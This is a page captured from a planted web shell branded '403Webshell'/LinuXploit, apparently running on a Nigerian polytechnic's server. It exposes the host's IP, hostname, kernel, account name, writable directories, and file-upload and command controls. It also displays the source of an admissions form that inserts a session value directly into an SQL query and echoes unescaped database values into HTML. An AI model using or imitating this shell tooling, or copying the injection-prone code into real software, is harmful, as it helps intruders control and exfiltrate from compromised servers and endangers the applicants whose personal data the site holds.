403Webshell
Server IP : 172.64.80.1  /  Your IP : 172.70.131.126
Web Server : Apache
System : Linux mail.federalpolyede.edu.ng 5.10.0-32-amd64 #1 SMP Debian 5.10.223-1 (2024-08-10) x86_64
User : federalpolyede.edu.ng_idh35skikv ( 10000)
PHP Version : 7.4.33
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/eace_entranceForm/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/federalpolyede.edu.ng/httpdocs_backup/eace_entranceForm/parentNext_edit.php
<?php
session_start();
?>
<script type="text/javascript" language="javascript" src="../js/jquery-1.7.1.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptFile.js"></script>
<script type="text/javascript" language="javascript" src="../js/scriptLga.js"></script>
<script type="text/javascript" language="javascript" src="../js/scripJamb.js"></script>
<?php
require_once('headMain2.php');
$formNo=$_SESSION['formNo'];
$formType=$_SESSION['formType'];
$level=$_SESSION['formType'];
require_once('../connect.php');
$db=db_connect();
$sql=$db->query("select * from otherinfo where formNo='$formNo'");
$sql_count=$sql->rowCount();
$sql_fetch=$sql->fetch(PDO::FETCH_BOTH);


$gName=$sql_fetch['gName'];
$gAddress=$sql_fetch['gAddress'];
$gGsm=$sql_fetch['gGsm'];
$gRel=$sql_fetch['gRel'];
$nName=$sql_fetch['nName'];
$nAddress=$sql_fetch['nAddress'];
$nGsm=$sql_fetch['nGsm'];
$nrel=$sql_fetch['nrel'];



/**
 * Created by PhpStorm.
 * User: SERVER
 * Date: 08/31/2016
 * Time: 2:12 PM
 */
?>
    <div class="container">
        <div class="row">
            <div class="col-md-6 col-md-offset-3">
                <div class="login-panel panel panel-default">
                    <div class="panel-heading">
                        <h3 class="panel-title">Edit Parent/Next of Kin Data</h3>  <div align="right"><a href="javascript:history.go(-1)"> Go to Previous page</a></div>
                    </div>
                    <div class="panel-body">
                        <form role="form" action="parentNext_edit_process.php" method="post">
<?php
if (isset($_GET['id'])){
   if ($_GET['id']=='1'){
       echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Parent/Next of Kin Data Updated Successfully';
                                                                        }
    if ($_GET['id']=='2'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Record Failed to Update';
    }
    if ($_GET['id']=='passport'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>Passport Required';
    }
    if ($_GET['id']=='O_Level'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>O\'level Scanned Copy2 is Required';
    }
    if ($_GET['id']=='O_Level1'){
        echo '<td colspan="6"  class="alert alert-danger"  align="center" ><button type="button" class="close" data-dismiss="alert" aria-hidden="true">&times;</button>O\'evel Scanned Copy1 is Required';
    }

}
?>
    <div><?php echo '<img src="../passportForm/'. $formNo.'.jpg" alt="" width="105" height="115" class="img-rounded" />';?></div>

                            <div>
                                    <strong>Parent/Guardian's Name:</strong>

                                   <input type="text" class="form-control" name="gName" id="name1" required="required" value="<?php echo $gName;?>" />
                                </div>
                                <div><strong>Parent/Guardian's Address</strong>

                                        <textarea name="gAddress" class="form-control" id="gAddress" cols="25" rows="3"><?php echo $gAddress;?></textarea>
                                </div>
                               <div>
                                   <strong>Parent/Guardians' Phone Number</strong>

                                        <input type="tel" name="gGsm" id="gsm1" class="form-control "  maxlength="11" value="<?php echo $gGsm;?>"/>
                                   </div>
                               <div><strong>Relationship:</strong>
                                        <select name="gRel" id="ndResult" class="form-control">
                                            <option selected="selected"><?php echo $gRel;?></option>
                                            <option>Parent</option>
                                            <option>Aunty</option>
                                            <option>Spouse</option>
                                            <option>Brother</option>
                                            <option>Sister</option>
                                        </select>
                                   </div>
                                <div>
                                    <strong>Next of Kin's Name:</strong>
                                   <input type="text" class="form-control" name="nName" id="name2" required="required" value="<?php echo $nName;?>" />
                               </div>
                            <div>
                                <strong>Next of Kin's Address:</strong>

                                    <textarea name="nAddress" class="form-control" id="address2" cols="25" rows="3"><?php echo $nAddress;?></textarea>
                               </div>
                            <div><strong>Next of Kin's Phone Number:</strong>
                                        <input type="text" class="form-control" name="nGsm" id="gsm2" maxlength="11" value="<?php echo $gGsm;?>" />
                                   </div>
                               <div><strong>Relationship:</strong>
                                        <select name="nRel" id="ndResult" class="form-control">
                                            <option selected="selected"><?php echo $nrel;?></option>
                                            <option>Parent</option>
                                            <option>Aunty</option>
                                            <option>Spouse</option>
                                            <option>Brother</option>
                                            <option>Sister</option>
                                        </select>
                                </div>


                                    <!-- <td colspan="2" align="right"><input type="submit" class="btn-lg btn-primary" name="button" id="button" value="Next>>>" /></td>-->




                    </div>
                    <div><input type="submit" class="btn-primary form-control" value="Update Parent/Next of Kin Data"></div>

                    </form>
                    </div>
                    </div>
                </div>
    </div>
                    </div>
                </div>
            </div>
        </div>

Youez - 2016 - github.com/yon3zu
LinuXploit